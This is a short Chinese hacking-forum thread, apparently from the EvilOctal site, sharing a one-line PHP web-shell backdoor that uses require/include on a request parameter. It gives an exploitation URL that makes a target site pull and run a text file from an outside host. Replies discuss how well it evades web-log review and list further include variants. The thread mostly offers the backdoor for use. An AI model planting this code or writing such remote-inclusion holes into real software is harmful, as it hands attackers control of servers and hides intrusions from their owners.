文章作者：风蓝
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

复制内容到剪贴板

代码:

<?require($_REQUEST[&#39;a&#39;]);?>

或是
<?require($a);?>

利用方法

http://www.target.com/file.php?a=http://www.tantao.cn:8080/b.txt

[s:64]  [s:64]  [s:64]

这样不使用eval了后门又隐蔽了些.

不知道能不能当原创~不能的话就帮我转到技术讨论吧。

唉，PHP就是比ASP好，远程包含文件。。。。

来自php手册，有一定的局限性！

引用:

警告
Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=34792

不觉得隐蔽，一查www日志就发现了 [s:43]

楼上的Post一下吧
HOHO

这一句话，好象在国外的黑客教程动画里见过。，。。。

用了很久了，哇哈哈哈

如果察看日志的话，POST的，还是可以看到。不过隐蔽性确实好了点。

<?require($a);?>  

<?require $a;?>
<?require_once $a;?>
<?include $a;?>

貌似 不怎么管用啊

这样就能关了后门吗

可以用JAVASCRIPT 形式写PHP 后门。